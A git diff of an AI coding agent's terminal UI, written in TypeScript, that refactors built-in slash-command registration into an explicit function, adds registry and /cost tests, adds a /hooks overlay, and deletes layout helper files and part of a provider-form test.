- - - {taskFullScreenOpen ? ( - - ) : enteredSession !== undefined ? ( - - - - ) : ( - - - - )} - - - setHelpOpen(false)} - agentModalOpen={agentModalOpen} - agentProviders={toAgentProviders(providerCatalog)} - activeProvider={provider} - activeModel={model} - activeEffort={reasoningEffort} - onAgentApply={applySelection} - onAgentPersistDefault={persistSelection} - onAgentSaveProvider={upsertProvider} - onAgentDeleteProvider={deleteProvider} - onCloseAgentModal={() => setAgentModalOpen(false)} - agentTiers={tiers} - onSaveTier={saveTierAssignment} - onCycleTierMode={cycleTierMode} - onClearTier={clearTier} - onRemoveTierLeg={removeTierLegAt} - onMoveTierLeg={moveTierLegAt} - agentProfiles={profiles} - onSaveAgentProfile={saveProfile} - onDeleteAgentProfile={deleteProfile} - usage={agentModalUsage ?? undefined} - onRequestAgentUsage={(kind, profile, baseURL) => { - setAgentModalUsage(null); - if (kind === "codex") { - void fetchCodexUsage(profile).then( - (u) => { setAgentModalUsage(formatCodexUsage(u)); }, - () => {}, - ); - } else { - void fetchXaiUsage(profile, baseURL).then( - (u) => { setAgentModalUsage(formatXaiUsage(u)); }, - () => {}, - ); - } - }} - unauthedProviders={unauthedProviders} - onRequestAgentLogin={(kind, profile) => { - setAutoLoginProfile(profile); - setLoginModal(kind); - }} - recentModels={recentModels} - favoriteModels={favoriteModels} - onToggleFavorite={toggleFavorite} - activeApproval={gates.activeApproval} - onApprove={gates.approve} - onReject={gates.reject} - onSelectOperator={gates.selectOperator} - permissionQueueDepth={gates.permissionQueueDepth} - queuedApprovals={gates.queuedApprovals} - onResolvePermission={gates.resolvePermission} - - width={columns} - {...(rows !== undefined ? { terminalRows: rows } : {})} - /> - - setPermissionsOpen(false)} - permissionsOverlayRows={permissionsOverlayRows} - settingsOpen={settingsOpen} - compactionMode={compactionMode} - onChangeCompactionMode={(mode) => { - setCompactionMode(mode); - void onChangeCompactionMode?.(mode); - }} - maxConcurrentSubAgents={maxConcurrentSubAgents} - onChangeMaxConcurrentSubAgents={(limit) => { - setMaxConcurrentSubAgents(limit); - void onChangeMaxConcurrentSubAgents?.(limit); - }} - sessionMode={sessionMode} - {...(savedGlobalSessionMode !== undefined ? { savedGlobalSessionMode } : {})} - {...(savedLocalSessionMode !== undefined ? { savedLocalSessionMode } : {})} - onChangeSessionMode={(mode, scope) => { - if (scope === "global") setSavedGlobalSessionMode(mode); - else setSavedLocalSessionMode(mode); - void onChangeSessionMode?.(mode, scope); - }} - telemetryEnabled={liveTelemetryEnabled} - onChangeTelemetryEnabled={(enabled) => { - setLiveTelemetryEnabled(enabled); - onChangeTelemetryEnabled?.(enabled); - }} - waitForApproval={waitForApproval} - onChangeWaitForApproval={(value) => { - setWaitForApproval(value); - void onChangeWaitForApproval?.(value); - }} - onCloseSettings={() => setSettingsOpen(false)} - pluginsOpen={pluginsOpen} - pluginsAdmin={pluginsAdmin} - onClosePlugins={() => setPluginsOpen(false)} - cwd={cwd} - loginModal={loginModal} - onCloseLoginModal={() => { setLoginModal(null); setAutoLoginProfile(undefined); }} - xaiProfileNames={xaiProfileNames} - codexProfileNames={codexProfileNames} - activeProvider={provider} - autoLoginProfile={autoLoginProfile} - switchToXaiProfile={switchToXaiProfile} - switchToCodexProfile={switchToCodexProfile} - removeXaiProfileEverywhere={removeXaiProfileEverywhere} - removeCodexProfileEverywhere={removeCodexProfileEverywhere} - /> - {mcpStatus.needsAuth.length > 0 && } - {settingsNotice !== null && ( - - {settingsNotice} - Press Esc to dismiss settings warnings - - )} - {commandMessage !== null && ( - - {commandMessage.split("\n").map((line, i) => ( - - {line} - - ))} - - )} - {!taskFullScreenOpen && ( - - {workAcceptBlocks} - {agentsStripVisible ? ( - - - - ) : null} - {chromeDividerLine(Math.max(8, columns - 2))} - - {state.quotaError !== null && ( - - )} - {state.inferenceRetry !== null && ( - - )} - {copyModeOpen && ( - - Copy — ↑/↓ select · y/⏎ copy · a copy all · esc cancel - {copyModeWindow.map((target, i) => { - const idx = copyModeWindowStart + i; - const selected = idx === copyModeSelection; - return ( - - {selected ? "› " : " "}{target.label}: {target.preview} - - ); - })} - - )} - {exitConfirmOpen ? ( - exit()} onCancel={() => setExitConfirmOpen(false)} /> - ) : ( - { - const step = stepSentHistoryUp(sentHistoryBrowse, inputValue); - if (step === null) return false; - setSentHistoryBrowse(step.browse); - setInputValue(step.value); - return true; - }} - onSentHistoryNext={() => { - const step = stepSentHistoryDown(sentHistoryBrowse, inputValue, inputValue.length); - if (step === null) return false; - setSentHistoryBrowse(step.browse); - setInputValue(step.value); - return true; - }} - onSentHistoryExitBrowse={() => { - if (sentHistoryBrowse.browseIndex === null) return; - setSentHistoryBrowse(sentHistoryOnEdit(sentHistoryBrowse)); - }} - sentHistoryBrowsing={sentHistoryBrowse.browseIndex !== null} - {...(profile !== undefined ? { profile } : {})} - model={model} - rows={rows} - columns={columns} - attachmentSummary={formatAttachmentSummary(pendingImages)} - canSubmitEmpty={pendingImages.length > 0} - {...(reasoningEffort !== undefined ? { effort: reasoningEffort } : {})} - {...(revolvingVerb !== undefined ? { verb: revolvingVerb } : {})} - /> - )} - - - - - )} - - ); -} diff --git a/src/tui/chrome-geometry.ts b/src/tui/chrome-geometry.ts deleted file mode 100644 index 9dc4357e7..000000000 --- a/src/tui/chrome-geometry.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { goalShowsAcceptancePanel, goalShowsWorkPrimary } from "../agent/goal.js"; -import { extraPromptChromeRows } from "./prompt-layout.js"; -import type { PluginsAdmin } from "./components/plugins-manager.js"; - -export type GoalChromeArgs = { - goalSnapshot: import("../agent/goal.js").GoalSnapshot | null; -}; - -export type GoalChromeResult = { - goalActive: boolean; - goalPhase: import("../agent/goal.js").GoalPhase | null; - showAcceptance: boolean; - workPrimary: boolean; -}; - -/** Goal chrome follows lifecycle phase: planning / reviewing / completed → - * Acceptance panel; implementing → Work primary (Acceptance compact; header - * shows phase). */ -export function resolveGoalChrome({ goalSnapshot }: GoalChromeArgs): GoalChromeResult { - const goalActive = - goalSnapshot !== null && - goalSnapshot.status !== "inactive" && - goalSnapshot.status !== "cleared"; - const goalPhase = goalActive ? goalSnapshot!.phase : null; - return { - goalActive, - goalPhase, - showAcceptance: goalPhase !== null && goalShowsAcceptancePanel(goalPhase), - workPrimary: goalPhase !== null && goalShowsWorkPrimary(goalPhase), - }; -} - -export function goalChromeRowCount(args: { - goalActive: boolean; - showAcceptance: boolean; - criteriaCount: number; -}): number { - const { goalActive, showAcceptance, criteriaCount } = args; - if (!goalActive) return 0; - // compact phase strip during implementing - if (!showAcceptance) return 3; - return (criteriaCount === 0 ? 2 : criteriaCount + 2) + 2; -} - -// The task strip renders above the in-flight indicator: one line when compact, -// the full checklist plus its heading when expanded. +1 is the marginTop wrapper. -export function taskChromeRowCount(args: { - hasActiveTasks: boolean; - taskCount: number; - workExpanded: boolean; -}): number { - const { hasActiveTasks, taskCount, workExpanded } = args; - if (!hasActiveTasks) return 0; - return (workExpanded ? taskCount + 1 : 1) + 1; -} - -// The plugins overlay renders outside the modal-stack accounting (like the -// permissions overlay), so reserve rows for its box: chrome + one row per -// plugin + the selected plugin's credential rows. -export function pluginChromeRowCount(args: { - pluginsOpen: boolean; - pluginsAdmin: PluginsAdmin | undefined; -}): number { - const { pluginsOpen, pluginsAdmin } = args; - if (!pluginsOpen || pluginsAdmin === undefined) return 0; - const list = pluginsAdmin.list(); - const widestCreds = list.reduce((n, p) => Math.max(n, p.credentials.length), 0); - return 6 + list.length + widestCreds + 2; -} - -/** - * Rows for the settings diagnostics banner: each diagnostic is two lines - * (`Settings warning: …` + ` Fix: …`) plus one Esc-dismiss hint. Pass 0 when - * the banner is absent or dismissed. - */ -export function settingsNoticeRowCount(diagnosticCount: number): number { - if (diagnosticCount <= 0) return 0; - return diagnosticCount * 2 + 1; -} - -export function extraChromeRowCount(args: { - mcpNeedsAuthCount: number; - /** Rows reserved for the command feedback banner (0 when absent). */ - commandMessageRows: number; - /** Multi-line settings banner rows (0 when dismissed). Prefer settingsNoticeRowCount. */ - settingsNoticeRows?: number; - goalChromeRows: number; - taskChromeRows: number; - pluginChromeRows: number; - quotaErrorPresent: boolean; - inferenceRetryPresent: boolean; - subAgentChromeRows: number; - /** Progress phase row when live or showing a workflow chip; 0 when hidden. */ - progressChromeRows: number; - inputValue: string; - columns: number | undefined; - rows: number | undefined; -}): number { - return ( - (args.mcpNeedsAuthCount > 0 ? 1 : 0) + - args.commandMessageRows + - (args.settingsNoticeRows ?? 0) + - args.goalChromeRows + - args.taskChromeRows + - args.pluginChromeRows + - (args.quotaErrorPresent ? 1 : 0) + - (args.inferenceRetryPresent ? 1 : 0) + - args.subAgentChromeRows + - args.progressChromeRows + - extraPromptChromeRows(args.inputValue, args.columns ?? 80, args.rows ?? 24) - ); -} - diff --git a/src/tui/chrome-zones.ts b/src/tui/chrome-zones.ts deleted file mode 100644 index b2bd4ae17..000000000 --- a/src/tui/chrome-zones.ts +++ /dev/null @@ -1,58 +0,0 @@ -// Fixed row budgets for each chrome zone. Sum feeds CHROME_ROWS in -// use-layout-geometry so the transcript height stays aligned with what App -// actually paints under/above the event log. - -export const CHROME_ZONE_ROWS = { - /** Header: profile/workflow row + optional latest user message. */ - header: 2, - /** Hairline between the transcript and the progress/prompt stack. */ - progressDivider: 1, - /** - * InFlightIndicator when visible: marginTop={1} + one content line. - * Not part of the fixed sum — reserved only via progressChromeRowCount so - * idle sessions do not keep an empty progress spacer. - */ - progress: 2, - /** Profile · model · effort line above the prompt border (ChatInput action bar). */ - modelBar: 1, - /** Round-bordered prompt: top border + content + bottom border. */ - prompt: 3, - /** StatusBar under the prompt: App's marginTop={1} wrapper + one content line. */ - status: 2, -} as const; - -export type ChromeZone = keyof typeof CHROME_ZONE_ROWS; - -/** Always-present chrome (excludes optional progress, which is added when shown). */ -export function sumChromeZoneRows( - zones: { readonly [K in ChromeZone]: number } = CHROME_ZONE_ROWS, -): number { - return ( - zones.header - + zones.progressDivider - + zones.modelBar - + zones.prompt - + zones.status - ); -} - -/** True when the progress row has anything to paint (live phase or workflow chip). */ -export function shouldShowProgressRow(input: { - active: boolean; - hasWorkflow: boolean; -}): boolean { - return input.active || input.hasWorkflow; -} - -/** Rows the progress zone occupies when the phase/workflow line is painted. */ -export function progressChromeRowCount(input: { - active: boolean; - hasWorkflow: boolean; -}): number { - return shouldShowProgressRow(input) ? CHROME_ZONE_ROWS.progress : 0; -} - -/** Full-width hairline for the progress/prompt separator. */ -export function chromeDividerLine(innerWidth: number): string { - return "─".repeat(Math.max(8, innerWidth)); -} diff --git a/src/tui/command-registry-setup.test.ts b/src/tui/command-registry-setup.test.ts new file mode 100644 index 000000000..b49d097fc --- /dev/null +++ b/src/tui/command-registry-setup.test.ts @@ -0,0 +1,32 @@ +import { describe, test, expect } from "bun:test"; +import { setUpCommandRegistry } from "./runner.js"; +import { getCommand, listCommands } from "./commands/registry.js"; + +// Built-in registration once rode on an import side effect; deleting its only +// importer emptied the registry with no type error and no failing test. +describe("session command registry setup", () => { + test("populates built-in commands", () => { + setUpCommandRegistry(undefined, []); + + const names = listCommands().map((c) => c.name); + expect(names).toContain("help"); + expect(names).toContain("model"); + expect(names).toContain("settings"); + expect(names).toContain("clear"); + expect(getCommand("goal")).toBeDefined(); + }); + + test("hides tier commands until a tier is configured", () => { + setUpCommandRegistry(undefined, []); + expect(listCommands().map((c) => c.name)).not.toContain("fast"); + + setUpCommandRegistry({ providers: {}, tiers: { fast: { provider: "p", model: "m" } } }, []); + expect(listCommands().map((c) => c.name)).toContain("fast"); + }); + + test("applies hidden commands from settings", () => { + setUpCommandRegistry({ providers: {}, hiddenCommands: ["help"] }, []); + expect(listCommands().map((c) => c.name)).not.toContain("help"); + expect(getCommand("help")).toBeDefined(); + }); +}); diff --git a/src/tui/commands/built-in.test.ts b/src/tui/commands/built-in.test.ts index b239003ad..e77d9275d 100644 --- a/src/tui/commands/built-in.test.ts +++ b/src/tui/commands/built-in.test.ts @@ -1,8 +1,10 @@ import { describe, it, expect } from "bun:test"; -import "./built-in.js"; import { getCommand, listCommands } from "./registry.js"; import type { CommandContext } from "./registry.js"; -import { setConfiguredTiers } from "./built-in.js"; +import { registerBuiltInCommands, setConfiguredTiers } from "./built-in.js"; +import { buildCostSummary } from "../../cost/cost-summary.js"; + +registerBuiltInCommands(); const makeCtx = (): CommandContext => ({ signalClear: () => {}, @@ -124,3 +126,32 @@ describe("tier commands", () => { setConfiguredTiers({}); }); }); + +describe("/cost command", () => { + it("reports unavailable when the session supplies no summary", () => { + const result = getCommand("cost")!.handler("", makeCtx()); + expect(result).toEqual({ + type: "message", + text: "Cost tracking is not available in this session.", + }); + }); + + it("formats the summary the session supplies", () => { + const ctx = makeCtx(); + ctx.getCostSummary = () => + buildCostSummary({ + modelId: "claude-x", + pricingCache: null, + totalCost: 0.42, + formattedCost: "$0.4200", + inputTokens: 100, + outputTokens: 50, + cacheReadTokens: 10, + contextTokens: 160, + }); + const result = getCommand("cost")!.handler("", ctx); + expect(result.type).toBe("message"); + expect((result as { text: string }).text).toContain("Model: claude-x"); + expect((result as { text: string }).text).toContain("Cost: $0.4200"); + }); +}); diff --git a/src/tui/commands/built-in.ts b/src/tui/commands/built-in.ts index 63a79fc7b..2134ac38f 100644 --- a/src/tui/commands/built-in.ts +++ b/src/tui/commands/built-in.ts @@ -9,7 +9,7 @@ import { } from "../../changelog/index.js"; // Which tiers are currently assigned. Defaults to empty so /fast, /standard, -// /clever stay out of the slash menu until the user configures one; app.tsx +// /clever stay out of the slash menu until the user configures one; the runner // syncs this whenever tier state changes. getCommand still resolves them // regardless, so an in-flight reconfigure never strands a typed command. const configuredTiers = new Set(); @@ -89,226 +89,241 @@ export function parseGoalArgs(raw: string): { return result; } -registerCommand({ - name: "help", - description: "Show the keyboard shortcut and command overlay", - handler: (_args, _ctx) => ({ type: "overlay", overlay: "help" }), -}); - -registerCommand({ - name: "model", - description: "Open the model configuration surface (provider, model)", - handler: (_args, _ctx) => ({ type: "modal", modal: "agent" }), -}); +/** + * Register every built-in slash command. + * + * Called explicitly by the session runner — registration must never be an + * import side effect, or a dropped importer silently empties the registry. + * Idempotent: the registry is keyed by command name. + */ +export function registerBuiltInCommands(): void { + registerCommand({ + name: "help", + description: "Show the keyboard shortcut and command overlay", + handler: (_args, _ctx) => ({ type: "overlay", overlay: "help" }), + }); -registerCommand({ - name: "settings", - description: "Open settings: permissions, compaction, and other options", - handler: (_args, _ctx) => ({ type: "overlay", overlay: "settings" }), -}); + registerCommand({ + name: "model", + description: "Open the model configuration surface (provider, model)", + handler: (_args, _ctx) => ({ type: "modal", modal: "agent" }), + }); -registerCommand({ - name: "permissions", - description: "Alias for /settings — view and revoke remembered approvals", - handler: (_args, _ctx) => ({ type: "overlay", overlay: "settings" }), -}); + registerCommand({ + name: "settings", + description: "Open settings: permissions, compaction, and other options", + handler: (_args, _ctx) => ({ type: "overlay", overlay: "settings" }), + }); -registerCommand({ - name: "plugins", - description: "Add plugins, set credentials, verify, and pick the web provider", - handler: (_args, _ctx) => ({ type: "overlay", overlay: "plugins" }), -}); + registerCommand({ + name: "permissions", + description: "Alias for /settings — view and revoke remembered approvals", + handler: (_args, _ctx) => ({ type: "overlay", overlay: "settings" }), + }); -// Models-first connect: providers are connected from /model (Ctrl+A / c), not a -// standalone /login picker. Keep codex/xai login modals reachable only via -// Connect or re-auth on an expired profile. + registerCommand({ + name: "plugins", + description: "Add plugins, set credentials, verify, and pick the web provider", + handler: (_args, _ctx) => ({ type: "overlay", overlay: "plugins" }), + }); -// signalClear rotates to a fresh session: the on-screen transcript and run -// telemetry are reset and the agent is rebuilt against a new state directory, -// so the conversation starts empty. The prior session stays on disk under its -// own id. Nothing is sent to the model — this is a local reset, not a message. -registerCommand({ - name: "clear", - description: "Start a fresh session in a new state directory", - handler: (_args, ctx) => { - ctx.signalClear(); - return { type: "message", text: "Started a fresh session." }; - }, -}); + registerCommand({ + name: "hooks", + description: "List discovered lifecycle hooks and enable or disable them", + handler: (_args, _ctx) => ({ type: "overlay", overlay: "hooks" }), + }); -registerCommand({ - name: "new", - description: "Alias for /clear", - handler: (_args, ctx) => { - ctx.signalClear(); - return { type: "message", text: "Started a fresh session." }; - }, -}); + // Models-first connect: providers are connected from /model (Ctrl+A / c), not a + // standalone /login picker. Keep codex/xai login modals reachable only via + // Connect or re-auth on an expired profile. -registerCommand({ - name: "rename", - description: "Name the current session (shown in resume list and header)", - handler: (args, ctx) => { - const name = args.trim(); - if (name.length === 0) { - return { type: "message", text: "Usage: /rename " }; - } - if (ctx.renameSession === undefined) { - return { type: "message", text: "Renaming is not available in this mode." }; - } - const err = ctx.renameSession(name); - if (err !== undefined) { - return { type: "message", text: err }; - } - return { type: "message", text: `Session renamed to "${name}".` }; - }, -}); + // signalClear rotates to a fresh session: the on-screen transcript and run + // telemetry are reset and the agent is rebuilt against a new state directory, + // so the conversation starts empty. The prior session stays on disk under its + // own id. Nothing is sent to the model — this is a local reset, not a message. + registerCommand({ + name: "clear", + description: "Start a fresh session in a new state directory", + handler: (_args, ctx) => { + ctx.signalClear(); + return { type: "message", text: "Started a fresh session." }; + }, + }); -registerCommand({ - name: "paste-image", - description: "Attach the current clipboard image to the next message", - handler: (_args, _ctx) => ({ type: "paste-image" }), -}); + registerCommand({ + name: "new", + description: "Alias for /clear", + handler: (_args, ctx) => { + ctx.signalClear(); + return { type: "message", text: "Started a fresh session." }; + }, + }); -registerCommand({ - name: "mcp", - description: "List connected MCP servers and their available tools", - handler: (_args, ctx) => { - const servers = ctx.getMCPServers?.() ?? []; - if (servers.length === 0) { - return { type: "message", text: "No MCP servers connected. Add mcpServers to .corbits/settings.json." }; - } - const lines = servers.map((s) => { - const toolList = s.tools.length > 0 ? s.tools.join(", ") : "(no tools)"; - return `${s.name}: ${toolList}`; - }); - return { type: "message", text: lines.join("\n") }; - }, -}); + registerCommand({ + name: "rename", + description: "Name the current session (shown in resume list and header)", + handler: (args, ctx) => { + const name = args.trim(); + if (name.length === 0) { + return { type: "message", text: "Usage: /rename " }; + } + if (ctx.renameSession === undefined) { + return { type: "message", text: "Renaming is not available in this mode." }; + } + const err = ctx.renameSession(name); + if (err !== undefined) { + return { type: "message", text: err }; + } + return { type: "message", text: `Session renamed to "${name}".` }; + }, + }); -registerCommand({ - name: "cost", - description: "Show session cost, token totals, and context-window usage", - handler: (_args, ctx) => { - const summary = ctx.getCostSummary?.(); - if (summary === undefined) { - return { type: "message", text: "Cost tracking is not available in this session." }; - } - return { type: "message", text: formatCostCommandOutput(summary) }; - }, -}); + registerCommand({ + name: "paste-image", + description: "Attach the current clipboard image to the next message", + handler: (_args, _ctx) => ({ type: "paste-image" }), + }); -registerCommand({ - name: "changelog", - description: "Show recent release notes (or full history)", - argumentHint: "[full]", - subcommands: [{ name: "full", description: "Show the complete changelog" }], - handler: (args) => { - const path = resolveChangelogPath(); - if (path === undefined) { - return { - type: "message", - text: "CHANGELOG.md not found next to the install or package root.", - }; - } - const entries = parseChangelog(path); - if (entries.length === 0) { - return { type: "message", text: "No versioned release notes found in CHANGELOG.md." }; - } - const wantFull = args.trim().toLowerCase() === "full"; - if (wantFull) { - return { - type: "message", - text: entries.map((e) => e.content).join("\n\n"), - }; - } - const formatted = formatStartupChangelog(entries, { - maxEntries: 5, - fullHint: "Run /changelog full for complete history.", - }); - return { type: "message", text: formatted.markdown }; - }, -}); + registerCommand({ + name: "mcp", + description: "List connected MCP servers and their available tools", + handler: (_args, ctx) => { + const servers = ctx.getMCPServers?.() ?? []; + if (servers.length === 0) { + return { type: "message", text: "No MCP servers connected. Add mcpServers to .corbits/settings.json." }; + } + const lines = servers.map((s) => { + const toolList = s.tools.length > 0 ? s.tools.join(", ") : "(no tools)"; + return `${s.name}: ${toolList}`; + }); + return { type: "message", text: lines.join("\n") }; + }, + }); -// Session-scoped goal: keep working until a verifiable condition is met. -// See docs/plans/v0.3-goal-mode.md. -registerCommand({ - name: "goal", - description: "Set a session goal brief; agent expands into an acceptance checklist", - // Claude-style free-form arg guidance. Leading turns are optional positional - // (`/goal 25 ship the feature`); omit for unlimited turns (default). - argumentHint: "[turns] ", - subcommands: [ - { name: "pause", description: "Stop auto-continue; keep the goal" }, - { name: "resume", description: "Re-arm auto-continue (extends finite turn budget if limited)" }, - { name: "clear", description: "Drop the goal" }, - { name: "status", description: "Show acceptance checklist and progress" }, - ], + registerCommand({ + name: "cost", + description: "Show session cost, token totals, and context-window usage", + handler: (_args, ctx) => { + const summary = ctx.getCostSummary?.(); + if (summary === undefined) { + return { type: "message", text: "Cost tracking is not available in this session." }; + } + return { type: "message", text: formatCostCommandOutput(summary) }; + }, + }); - handler: (args, ctx) => { - const api = ctx.goal; - if (api === undefined) { - return { type: "message", text: "Goal mode is not available in this session." }; - } - const parsed = parseGoalArgs(args); - if (parsed.sub === "status") { - return { type: "message", text: formatGoalStatus(api.get()) }; - } - if (parsed.sub === "pause") { - const snap = api.pause(); - if (snap === null) return { type: "message", text: "No goal is set." }; - return { type: "message", text: `Goal paused.\n${formatGoalStatus(snap)}` }; - } - if (parsed.sub === "resume") { - const snap = api.resume(); - if (snap === null) { - return { type: "message", text: "No paused or budget-limited goal to resume." }; + registerCommand({ + name: "changelog", + description: "Show recent release notes (or full history)", + argumentHint: "[full]", + subcommands: [{ name: "full", description: "Show the complete changelog" }], + handler: (args) => { + const path = resolveChangelogPath(); + if (path === undefined) { + return { + type: "message", + text: "CHANGELOG.md not found next to the install or package root.", + }; } - api.kickoff?.(snap.brief || snap.condition, "resume"); - return { type: "message", text: `Goal resumed.\n${formatGoalStatus(snap)}` }; - } - if (parsed.sub === "clear") { - if (api.get() === null) return { type: "message", text: "No goal is set." }; - api.clear(); - return { type: "message", text: "Goal cleared." }; - } - const condition = parsed.condition ?? ""; - if (condition.length === 0) { - return { - type: "message", - text: "Usage: /goal [turns] | /goal pause | /goal resume | /goal clear | /goal status", - }; - } - const existing = api.get(); - if ( - existing !== null && - (existing.status === "active" || existing.status === "paused" || existing.status === "budget_limited") && - parsed.replace !== true - ) { - return { - type: "message", - text: - `A goal is already ${existing.status}:\n${formatGoalStatus(existing)}\n\n` + - `Clear it first (/goal clear) or replace with /goal --replace .`, - }; - } - api.set(condition, parsed.opts); - api.kickoff?.(condition, "set"); - // One-shot banner only — brief lives in GoalView chrome (multi-line here - // used to overflow chrome row accounting and collide with Work). - return { type: "message", text: "Goal set." }; - }, -}); + const entries = parseChangelog(path); + if (entries.length === 0) { + return { type: "message", text: "No versioned release notes found in CHANGELOG.md." }; + } + const wantFull = args.trim().toLowerCase() === "full"; + if (wantFull) { + return { + type: "message", + text: entries.map((e) => e.content).join("\n\n"), + }; + } + const formatted = formatStartupChangelog(entries, { + maxEntries: 5, + fullHint: "Run /changelog full for complete history.", + }); + return { type: "message", text: formatted.markdown }; + }, + }); -// One slash command per provider tier so a configured tier is one keystroke to -// switch to. The handler only emits the intent; app.tsx resolves the tier's -// current provider+model against live state and applies it, so a tier reassigned -// mid-session via /model takes effect immediately on the next / call. -for (const tier of PROVIDER_TIERS) { + // Session-scoped goal: keep working until a verifiable condition is met. + // See docs/plans/v0.3-goal-mode.md. registerCommand({ - name: tier, - description: `Switch the active model to the ${tier} tier`, - handler: () => ({ type: "tier", tier: tier as ProviderTier }), - available: () => configuredTiers.has(tier), + name: "goal", + description: "Set a session goal brief; agent expands into an acceptance checklist", + // Claude-style free-form arg guidance. Leading turns are optional positional + // (`/goal 25 ship the feature`); omit for unlimited turns (default). + argumentHint: "[turns] ", + subcommands: [ + { name: "pause", description: "Stop auto-continue; keep the goal" }, + { name: "resume", description: "Re-arm auto-continue (extends finite turn budget if limited)" }, + { name: "clear", description: "Drop the goal" }, + { name: "status", description: "Show acceptance checklist and progress" }, + ], + + handler: (args, ctx) => { + const api = ctx.goal; + if (api === undefined) { + return { type: "message", text: "Goal mode is not available in this session." }; + } + const parsed = parseGoalArgs(args); + if (parsed.sub === "status") { + return { type: "message", text: formatGoalStatus(api.get()) }; + } + if (parsed.sub === "pause") { + const snap = api.pause(); + if (snap === null) return { type: "message", text: "No goal is set." }; + return { type: "message", text: `Goal paused.\n${formatGoalStatus(snap)}` }; + } + if (parsed.sub === "resume") { + const snap = api.resume(); + if (snap === null) { + return { type: "message", text: "No paused or budget-limited goal to resume." }; + } + api.kickoff?.(snap.brief || snap.condition, "resume"); + return { type: "message", text: `Goal resumed.\n${formatGoalStatus(snap)}` }; + } + if (parsed.sub === "clear") { + if (api.get() === null) return { type: "message", text: "No goal is set." }; + api.clear(); + return { type: "message", text: "Goal cleared." }; + } + const condition = parsed.condition ?? ""; + if (condition.length === 0) { + return { + type: "message", + text: "Usage: /goal [turns] | /goal pause | /goal resume | /goal clear | /goal status", + }; + } + const existing = api.get(); + if ( + existing !== null && + (existing.status === "active" || existing.status === "paused" || existing.status === "budget_limited") && + parsed.replace !== true + ) { + return { + type: "message", + text: + `A goal is already ${existing.status}:\n${formatGoalStatus(existing)}\n\n` + + `Clear it first (/goal clear) or replace with /goal --replace .`, + }; + } + api.set(condition, parsed.opts); + api.kickoff?.(condition, "set"); + // One-shot banner only — brief lives in GoalView chrome (multi-line here + // used to overflow chrome row accounting and collide with Work). + return { type: "message", text: "Goal set." }; + }, }); + + // One slash command per provider tier so a configured tier is one keystroke to + // switch to. The handler only emits the intent; the runner resolves the tier's + // current provider+model against live state and applies it, so a tier reassigned + // mid-session via /model takes effect immediately on the next / call. + for (const tier of PROVIDER_TIERS) { + registerCommand({ + name: tier, + description: `Switch the active model to the ${tier} tier`, + handler: () => ({ type: "tier", tier: tier as ProviderTier }), + available: () => configuredTiers.has(tier), + }); + } } diff --git a/src/tui/commands/goal.test.ts b/src/tui/commands/goal.test.ts index 139665d70..1c2ee865d 100644 --- a/src/tui/commands/goal.test.ts +++ b/src/tui/commands/goal.test.ts @@ -1,9 +1,10 @@ import { describe, expect, test } from "bun:test"; -import { parseGoalArgs } from "./built-in.js"; +import { parseGoalArgs, registerBuiltInCommands } from "./built-in.js"; import { getCommand } from "./registry.js"; import type { CommandContext } from "./registry.js"; import type { GoalSnapshot } from "../../agent/goal.js"; -import "./built-in.js"; + +registerBuiltInCommands(); function snap(partial: Partial = {}): GoalSnapshot { const condition = partial.condition ?? "tests green"; diff --git a/src/tui/commands/registry.ts b/src/tui/commands/registry.ts index 47c8038e6..5c9187973 100644 --- a/src/tui/commands/registry.ts +++ b/src/tui/commands/registry.ts @@ -27,7 +27,7 @@ export type CommandResult = | { type: "message"; text: string } | { type: "send"; text: string } | { type: "view"; view: "tasks" } - | { type: "overlay"; overlay: "help" | "permissions" | "plugins" | "settings" } + | { type: "overlay"; overlay: "help" | "permissions" | "plugins" | "settings" | "hooks" } | { type: "modal"; modal: "agent" | "codex-login" | "xai-login" } | { type: "workflow"; name: string; args?: string } | { type: "paste-image" } diff --git a/src/tui/components/agent-modal.test.ts b/src/tui/components/agent-modal.test.ts deleted file mode 100644 index e018984a8..000000000 --- a/src/tui/components/agent-modal.test.ts +++ /dev/null @@ -1,256 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { - seedConnectForm, - toAgentProviders, - validateProviderForm, - type ProviderFormValues, -} from "./agent-modal.js"; -import { FIRST_CLASS_PROVIDERS } from "../../../packages/first-class-providers/src/index.js"; - -describe("toAgentProviders", () => { - test("projects editable provider fields and drops API keys", () => { - const result = toAgentProviders([ - { name: "fp", baseURL: "https://fp/v1", apiKey: "sk-secret", models: ["a", "b"], defaultModel: "a" }, - ]); - expect(result).toEqual([{ name: "fp", baseURL: "https://fp/v1", models: ["a", "b"], defaultModel: "a" }]); - const serialized = JSON.stringify(result); - expect(serialized).not.toContain("apiKey"); - expect(serialized).not.toContain("sk-secret"); - }); - - test("omits defaultModel when absent", () => { - const result = toAgentProviders([{ name: "solo", baseURL: "https://solo/v1", models: ["only"] }]); - expect(result[0]).toEqual({ name: "solo", baseURL: "https://solo/v1", models: ["only"] }); - expect("defaultModel" in result[0]!).toBe(false); - }); -}); - -const form = (overrides: Partial = {}): ProviderFormValues => ({ - name: "firepass", - baseURL: "https://firepass.example/v1", - apiKey: "sk-key", - keyless: "no", - models: "fp-large, fp-small", - defaultModel: "fp-large", - ...overrides, -}); - -describe("validateProviderForm", () => { - test("creates a provider submission from comma-separated models", () => { - const result = validateProviderForm(form(), undefined); - expect(result).toEqual({ - ok: true, - submission: { - name: "firepass", - baseURL: "https://firepass.example/v1", - apiKey: "sk-key", - models: ["fp-large", "fp-small"], - defaultModel: "fp-large", - }, - }); - }); - - test("requires an API key when adding a non-keyless provider", () => { - expect(validateProviderForm(form({ apiKey: "" }), undefined)).toEqual({ - ok: false, - error: "API key is required (or enable keyless)", - }); - }); - - test("allows an empty API key when editing a provider", () => { - const result = validateProviderForm(form({ apiKey: "" }), "firepass"); - expect(result).toEqual({ - ok: true, - submission: { - originalName: "firepass", - name: "firepass", - baseURL: "https://firepass.example/v1", - models: ["fp-large", "fp-small"], - defaultModel: "fp-large", - }, - }); - }); - - test("rejects a default model that is not in the model list", () => { - expect(validateProviderForm(form({ defaultModel: "missing" }), "firepass")).toEqual({ - ok: false, - error: "Default model must be listed in models", - }); - }); - - test("allows a keyless provider with no API key when adding", () => { - const result = validateProviderForm(form({ keyless: "yes", apiKey: "" }), undefined); - expect(result.ok).toBe(true); - if (result.ok) { - expect(result.submission.keyless).toBe(true); - expect(result.submission.apiKey).toBeUndefined(); - } - }); - - test("does not set keyless when the toggle is no", () => { - const result = validateProviderForm(form({ keyless: "no" }), undefined); - expect(result.ok).toBe(true); - if (result.ok) { - expect(result.submission.keyless).toBeUndefined(); - } - }); - -test("trims leading and trailing spaces on text fields at save", () => { - const 